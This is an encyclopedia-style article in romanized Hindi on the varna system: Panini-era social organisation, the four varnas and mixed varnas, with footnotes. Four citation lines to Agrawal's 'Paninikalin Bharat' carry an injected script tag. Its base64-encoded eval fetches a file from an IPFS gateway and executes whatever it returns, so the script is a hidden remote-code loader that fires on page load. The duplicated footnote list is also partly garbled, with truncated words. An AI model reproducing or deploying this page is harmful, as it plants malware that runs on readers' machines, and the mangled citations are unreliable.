वर्ण व्यवस्था

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varn vh‍yavash‍tha hindoo dharm mean samajik vibhajan ka ek adhar hai. hindoo dharm-granthoan ke anusar samaj ko char varnoan mean vibhajit kiya gaya hai- kshatriy, brahman, vaishy aur shoodr; jabaki aur bauddh dharm ke granthoan ke anusar samaj ko chhah varnoan mean vibhajit kiya gaya hai.

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paninikalin samaj

paninikalin samaj ki mool bhitti varn aur ashram ki vyavastha thi. brahman, kshatriy, vaishy aur shoodr- in charoan varnoan ka ullekh 'ashtadhyayi' mean hua hai. vaidik bhasha ka 'varn' shabd ab bhi vyavahar mean ata tha, yadyapi 'jati' yah naya shabd bhi prachalit ho chuka tha.^[1] panini-vyakaran ke anusar gotroan aur charanoan ki bhi prithak jatiyaan hone lagi thian. bhashyakar ne jati ki paribhasha ke aantargat gotroan aur charanoan ko bhi gina hai.^[2] katarakatamau jatipariprashne^[3] sootr mean jati ke vishay mean poochhatachh ke lie niyam bataya gaya hai. yahaan jati shabd se gotr aur charan donoan abhipret hai. katarakath: (in donoan mean kaun kath hai?), katamakath: (inamean kaun kath hai?) ye donoan prashn charan-sambandhi poochhatachh vishayak hone par bhi jati-pariprashn ke udaharan hai.

pray: pratyek jati ya upajati mean apane mool-nikas ki ek anushruti paee jati hai. in mool sthan-namoan ka yadi sangrah kiya jae to yah bhi sanbhav hai ki ham 'ashtadhyayi' mean diye hue un-un nam vale gotr ke mool sthanoan ki bhi pahachan kar sakeange. panini ke 4.2.80 sootr mean is prakar ke sthan-namoan ki satrah soochiyaan sangrahit haian. udaharan ke lie, pakshadigan mean 'hansak' sthan ka nam hai jahaan se nadadigan ke hansak gotr ka vikas hua hoga. panini ke samay mean yoni-sanbandh aur vidya-sambandh, in do prakar ke sambandhoan ke adhar par samaj ka adhikaansh sangathan tha. yoni sambandh gotroan ke roop mean aur vidya-sambandh charanoan ke roop mean apana-apana jatiy sangathan bana rahe the. isi karan jati ki paribhasha mean gotr aur charan in donoan ko sammilit kiya gaya.^[4] rakt-sambandh aur vidya-sambandhoan ke karan chhote-mote girohoan ki alag-alag jatiyaan ban rahi thian. kuchh aisa lagata hai ki jahaan bete potoan se phoolate-phalate prithakh-prithakh sau ghar kisi ek khyat, gutt, ya all ke aantargat badh jate the, vahian un kutuboan ke sadasy samaj mean apane prithak astitv ka bhan aur smriti ek chhoti upajati ya gotravayav ke roop mean kar lete the. panini ne savitri-putroan ka ullekh kiya hai.^[5] mahabharat mean kaha hai ki savitri-putroan ke sau gharane the.^[6] isi prakar madroan mean se sau gharane alag phoot kar malavaputr nam ki all se prithak vikhyat hue.^[7] malavaputr hi vartaman 'malotre' ho sakate haian.^[8]

varnashram vyavastha

vaidik dharm sudridh varnashram vyavastha par adharit tha. hindoo dharm samast manav samaj ko char shreniyoan mean vibhakt karata hai-

brahman

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brahman ko buddhijivi mana jata hai, jo apani vidya, jnan aur vichar shakti dvara janata evan samaj ka netritv kar unhean sanmarg par chalane ka adesh deta hai. 'brahman' bharat mean aryoan ki samaj vh‍yavash‍tha arthat varn vyavastha ka sabase oopar ka varn hai. bharat ke samajik badalav ke itihas mean jab bharatiy samaj ko hindoo ke roop mean sanbodhit kiya jane laga, tab brahman varn, jati mean bhi pari‍vartit ho gaya. brahman varn ab hindoo samaj ki ek jati bhi hai. brahman ko 'vipr', 'dvij', 'dvijottam' ya 'bhoosur' bhi kaha jata hai.

kshatriy

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kshatriy vah hai jo bahubal dvara samaj mean vyavastha rakhakar unhean uchchhriankhal hone se rokata hai. raja ka kartavy praja ki raksha karana hai. bharatiy aryoan mean atyant arambhik kal se varn vyavastha milati hai, jisake anusar samaj mean unako doosara sthan prapt tha. unaka kary yuddh karana tatha praja ki raksha karana tha. brahman granthoan ke anusar kshatriyoan ki ganana brahamanoan ke bad ki jati thi, parantu bauddh granthoan ke anusar char varnoan mean kshatriyoan ko brahmanoan se ooancha arthat samaj mean sarvopari sthan prapt tha. gautam buddh aur mahavir donoan kshatriy the aur isase is sthapana ko bal milata hai ki bauddh dharm aur jain dharm jahaan ek or samaj mean brahmanoan ki shreshthata ke dave ke prati kshatriyoan ke virodh bhav ko prakat karate haian, vahian doosari or prithakh jivan darshan ke lie unaki akaanksha ko bhi abhivyakti dete haian. kshatriyoan ka sthan nishchit roop se charoan varnoan mean brahmanoan ke bad doosara mana jata tha.

jo nash se raksha kare vah kshatriy hai. - kalidas

vaishy

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kheti, gau palan aur vyapar ke dvara jo samaj ko sukhi aur desh ko samriddh banata hai, use vaishy kahate haian. 'vaishy' ka hianduoan ki varn vyavastha mean tisara sthan hai. is varn ke log mukhyat: vanijyik vyavasay aur krishi karate the. hianduoan ki jati vyavastha ke aantargat vaishy varnashram ka tisara mahattvapoorn stanbh hai. is varg mean mukhy roop se bharatiy samaj ke kisan, pashupalak, aur vyapari samuday shamil haian. 'vaishy' shabd vaidik 'vishh' se nikala hai. arth ki drishti se 'vaishy' shabd ki utpatti sanskrit se huee hai, jisaka mool arth "basana" hota hai. manu ke 'manusmriti' ke anusar vaishyoan ki utpatti brahma ke udar yani pet se huee hai. jabaki kuchh any vicharoan ke anusar brahma ji se paida hone vale brahman, vishnu se paida hone vale vaishy, shankar se paida hone vale kshatriy kahalae; isaliye aj bhi brahman apani mata sarasvati, vaishy lakshmi, kshatriy maan durge ki pooja karate hai.

shoodr

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shoodr bharatiy samaj vyavastha mean chaturth varn ya jati hai. vayu puran^[9], vedaantasootr^[10] aur chhaandogy evan vedaantasootr ke shaankarabhashy mean shuch aur dru dhatuoan se shoodr shabd vyutpann kiya gaya. vayu puran ka kathan hai ki shok karake dravit hone vale paricharyarat vyakti shoodr haian. bhavishyapuran mean shruti ki druti (avashishtaansh) prapt karane vale shoodr kahalae.^[11] dirghanikay mean khuddachar (kshudrachar) mean sudd shabd sanbaddh kiya gaya.^[12] homar ke dvara ullikhit 'koodroan' se shoodr shabd jo dane ka bhi prayatn hua.^[13] uparokt tinoan varnoan ki seva karana shoodr ka kary tha. is varn ka bhi utana hi mahattv tha jitana any tinoan varnoan ka tha. yah varn na ho to shesh tinoan varnoan ki jivan vyavastha chhinn bhinn ho jae. yah vyavastha samaj ke santulan ke lie thi. pashchaty darshanik pleto ne bhi samaj ko char varnoan mean vibhajit karana anivary bataya hai. any dharmoan mean bhi is prakar ki varn vyavastha ki gayi thi. pratyek vyavastha gunoan aur karmoan ke adhar par thi. d aau.radhakrishnan kahate haian - 'janm aur gun in donoan ke ghalamel se hi varn vyavastha ki choolean hil gayi haian.' shoodr shabd moolat: videshi hai aur sanbhavat: ek parajit anary jati ka mool nam tha. shastroan ke anusar pratyek vyakti shoodr paida hota hai aur prayatn aur vikas se any varn avasthaoan mean pahuanchata hai. vastav mean pratyek mean charoan varn sthapit haian.

mishravarn

panini ke samay mean anulom pratilom shabd prachalit ho chuke the.^[14]mishrit varnoan mean ambashth (vikalp aanbashth)^[15] nam aya hai. smritiyoan ke anusar brahman pita aur vaishy mata ki santan ambashth kahalati thi. ambashth vahik mean ek gan ka nam bhi tha.^[16]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ 2.1.63
↑ gotrashch charanai: sah 4.1.63)
↑ 2.1.63
↑ gotranch charanani ch, bhashy 4.1.63, kisi any vartikakar ke anusar
↑ damanyadi 5.3.16
↑ svayi putrashatan chaiv satyavanh‌ anayishyati.
te chapi sarve rajan: kshatriya: putrapautrin:॥
khyatastvannamadheyashch bhavishyantih shashchata:.... vanaparv, 297.58; karnaparv 5.41
↑ mahabharat vanaparv, 297.60
↑ paninikalin bharat |lekhak: vasudevasharan agraval |prakashak: chaukhamba vidyabhavan, varanasi-1 |sankalan: bharatakosh pustakalay |prishth sankhya: 86 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ vayupuran 1, 8, 158
↑ vedaantasootr 1, 3, 34
↑ vedaantasootr- 1, 44, 33
↑ vedaantasootr- 3, 95
↑ vakaranagel, drashtavy ramasharan sharma, pri. 35
↑ 5.4.75
↑ 8.3.97
↑ paninikalin bharat |lekhak: vasudevasharan agraval |prakashak: chaukhamba vidyabhavan, varanasi-1 |sankalan: bharatakosh pustakalay |prishth sankhya: 94 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] 2.1.63

[2] trashch charanai: sah 4.1.63)

[3] 2.1.63

[4] tranch charanani ch, bhashy 4.1.63, kisi any vartikakar ke anusar

[5] yadi 5.3.16

[6] svayi putrashatan chaiv satyavanh‌ anayishyati.
te chapi sarve rajan: kshatriya: putrapautrin:॥
khyatastvannamadheyashch bhavishyantih shashchata:.... vanaparv, 297.58; karnaparv 5.41

[7] rat vanaparv, 297.60

[8] rat |lekhak: vasudevasharan agraval |prakashak: chaukhamba vidyabhavan, varanasi-1 |sankalan: bharatakosh pustakalay |prishth sankhya: 86 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[9] vayupuran 1, 8, 158

[10] vedaantasootr 1, 3, 34

[11] vedaantasootr- 1, 44, 33

[12] vedaantasootr- 3, 95

[13] vakaranagel, drashtavy ramasharan sharma, pri. 35

[14] 5.4.75

[15] 8.3.97

[16] rat |lekhak: vasudevasharan agraval |prakashak: chaukhamba vidyabhavan, varanasi-1 |sankalan: bharatakosh pustakalay |prishth sankhya: 94 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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